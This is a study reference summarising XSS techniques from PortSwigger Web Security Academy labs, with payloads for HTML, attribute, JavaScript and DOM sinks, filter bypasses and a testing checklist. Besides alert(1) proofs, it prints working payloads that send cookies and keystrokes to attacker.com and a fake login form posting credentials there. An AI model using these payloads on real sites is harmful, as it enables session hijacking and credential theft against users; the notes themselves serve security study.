PortSwigger XSS Labs

Comprehensive Compilation of Payloads, Mechanics, and Core Concept Notes

This reference document breaks down critical Cross-Site Scripting (XSS) vulnerabilities encountered across PortSwigger Web Security Academy labs. It explores payloads, execution mechanics, execution contexts, and defensive bypass methodologies.

1. Reflected XSS into HTML context with nothing encoded

Concept

User input is reflected directly into the HTML body of a page without any filtering, sanitization, or encoding.

Example Context:

```
<p>You searched for: USER_INPUT</p>
```

Payloads

```
<script>alert(1)</script>
```

Alternative vector variants:

```
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
```

Why it works

The web browser interprets the raw, injected HTML tags and JavaScript as legitimate executable layout and script architecture rather than plain text string literals.

2. Stored XSS into HTML context with nothing encoded

Concept

The malicious exploit payload is persistently saved in the application's backend database (e.g., inside comment modules, forum posts, or profile fields) and served statically to subsequent site visitors.

Example Context (Comment Section):

```
<div class="comment">USER_INPUT</div>
```

Payloads

```
<script>alert(1)</script>
<img src=x onerror=alert(document.cookie)>
<svg onload=fetch('https://attacker.com/'+document.cookie)>
```

Impact

- Session hijacking via automated cookie theft
- Site defacement and DOM manipulation
- Full administrative account takeover

3. DOM XSS in document.write sink using source location.search

Concept

Client-side client JavaScript natively extracts unvalidated query data parameters directly from the URL browser location object and dynamically updates the document markup.

```
document.write(location.search)
```

Payload

```
"><script>alert(1)</script>
```

Full Exploit URL Construction:

```
https://site.com/?"><script>alert(1)</script>
```

Alternative tag variant:

```
<img src=x onerror=alert(1)>
```

Why it works

The execution of `document.write()` dynamically outputs unescaped string data rawly straight into the Document Object Model (DOM), causing the layout engine to parse new elements mid-lifecycle.

4. DOM XSS in innerHTML sink using source location.search

Concept

The client application parses structural changes using the DOM assignment pattern:

```
element.innerHTML = location.search
```

Payloads

```
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
```

Important Execution Nuance

Browsers implicitly block standard `<script>` elements inserted programmatically via modern `innerHTML` assignments. Inline event handles (like `onerror`, `onload`) are required to force browser script execution.

5. DOM XSS in jQuery anchor href attribute sink using location.search source

Concept

A jQuery selector sets a dynamic attribute using unsanitized inputs gathered from the query context:

```
$('a').attr('href', userInput)
```

Payload

```
javascript:alert(1)
```

Target URL: `https://site.com/?javascript:alert(1)`

Why it works

The resulting DOM link structural state becomes:

```
<a href="javascript:alert(1)">
```

When an unsuspecting end-user clicks on the rendered anchor element link, the browser processes the pseudo-protocol string and executes the code payload inline.

6. DOM XSS in jQuery selector sink using a hashchange event

Concept

The single-page script processes fragments directly from the URI hash boundary context using jQuery's core lookup engine functionality:

```
$(location.hash)
```

Payload

```
#<img src=x onerror=alert(1)>
```

Auto-Trigger Delivery via Exploit Delivery Payload:

```
<iframe src="https://victim.com/#<img src=x onerror=alert(1)>">
```

Why it works

When a string sequence matching an HTML structure sequence is parsed into a selector expression hook, jQuery interprets the sequence directive as an instruction to instantiate and render HTML content rather than look up matching element IDs.

7. Reflected XSS into attribute with angle brackets HTML-encoded

Concept

Standard angle brackets (`<` , `>`) are filtered or HTML-entity encoded, but quotes remain clean inside tag attributes.

Context Matrix:

```
<input value="USER_INPUT">
```

Payload

```
" onmouseover="alert(1)
```

Resulting Layout Parse Output:

```
<input value="" onmouseover="alert(1)">
```

Alternative Event Vectors

```
" autofocus onfocus=alert(1)
" onclick=alert(1)
```

8. Stored XSS into anchor href attribute with double quotes HTML-encoded

Concept

Quotes are aggressively filtered or structurally encoded, denying escaping out of the HTML attribute box boundaries.

Context Target Block:

```
<a href="USER_INPUT">
```

Payload

```
javascript:alert(1)
```

Why it works

Because the input remains locked within the `href` bounds, the application directly accepts script protocols without breaking attribute scope constraints.

9. Reflected XSS into JavaScript string with angle brackets HTML-encoded

Concept

Angle brackets are completely encoded, but input falls explicitly straight inside a client script block string boundary.

JavaScript Context Block:

```
var search = 'USER_INPUT';
```

Payloads

```
'-alert(1)-'
```

Alternative closure construct:

```
';alert(1);//
```

Why it works

The code cleanly escapes string literals via quotes (`'`), altering script evaluation paths to inject custom logic directly into the script execution chain.

10. DOM XSS in document.write sink using source location.search inside a select element

Concept

Input is printed directly within a dropdown configuration option block.

Context target state:

```
<select>
  <option>USER_INPUT</option>
</select>
```

Payload

```
</select><img src=x onerror=alert(1)>
```

Why it works

The closing sequence structure `</select>` breaks the structured scope constraints early, allowing the subsequent payload to execute normally.

11. DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

Concept

The client interface intercepts content strings using an active AngularJS framework template engine parser.

Payload

```
{{constructor.constructor('alert(1)')()}}
```

Why it works

Angular expressions parse and execute contents wrapped inside `{{ }}`. By evaluating scope inheritance variables up to the primary JavaScript Function constructor, attackers bypass standard sandbox limits to fire execution scopes arbitrary code blocks.

12 & 13. Reflected and Stored DOM XSS Reference Notes

Reflected DOM XSS: Server processes data parameters and passes them back down raw inside client response messages (like JSON payloads), which are then read by sinks like `eval()` or `innerHTML`.

Stored DOM XSS: Persistent structures pull raw data values out of storage boundaries and pass them uncleaned to downstream script APIs without escape validations.

XSS Cheat Sheet & Context Reference Data

Core Document Context Mapping

Context Type	Structural Context Example Markup
HTML Context	`<div>INPUT</div>`
Attribute Context	`<input value="INPUT">`
JavaScript Context	`var code='INPUT'`
URL Context	`<a href="INPUT">`

Critical JavaScript Security Sinks

Target Execution Sink	Risk Rating	Core Details / Impact Behavior
`innerHTML`	HIGH	Parses element structures dynamically; strips script tags but executes event handlers.
`document.write()`	HIGH	Outputs strings straight to layout parser streams; dangerous prior to page load finish.
`eval()`	CRITICAL	Directly processes raw string text arguments directly as arbitrary script logic code.
`setTimeout(string)`	CRITICAL	Evaluates textual arguments dynamically after timer parameters expire.

Client Data Exploitation Vectors (Sources)

- `location.search` : Extracts URL query parameters after the `?` symbol boundary.
- `location.hash` : Extracts parameters following the hash `#` anchor target indicator.
- `document.cookie` : Extracts domain session access tokens stored locally.
- `document.URL` : Retrieves complete structural URL pathways.

Exploitation Payloads & Advanced Bypass Reference

Real Bug Bounty Verification Payloads

Cookie Exfiltration Script Sequence:

```
fetch('https://attacker.com/'+document.cookie)
```

Asynchronous Keylogging Module:

```
document.onkeypress=function(e){
  fetch('https://attacker.com/'+e.key)
}
```

Credential Harvest Form Injection:

```
<form action="https://attacker.com">
  <input name="username" placeholder="Email" />
  <input type="password" name="password" />
  <input type="submit" value="Login" />
</form>
```

WAF / Filter Bypass Tricks

- **Mixed Case Interleaving:** `<ScRiPt>alert(1)</ScRiPt>`
- **Space Character Omission (SVG):** `<svg/onload=alert(1)>`
- **Malformed Structural Formatting:** `<img src=x onerror=alert(1)`
- **Unicode Escaping Context (Within Script Blocks):**

Systematic XSS Methodology Checklist

1. **Identify Reflection Vectors:** Submit unique validation tracking canary values (e.g., `testCanary123`) to map points of return.
2. **Determine Reflection Context:** Identify if input lands inside plain HTML text, internal tag attributes, script parameters, or specialized frameworks.
3. **Break Execution Scope Context:** Inject proper boundary delimiters (such as `"`, `'`, `</script>`) to decouple your payload from surrounding application data.
4. **Trigger Script Execution:** Bind execution logic natively via tags or event handles (e.g., `alert(1)`).
5. **Demonstrate PoC Escalation:** Validate realistic business impact vectors through local file access, administrative CSRF actions, or secure authentication token capture.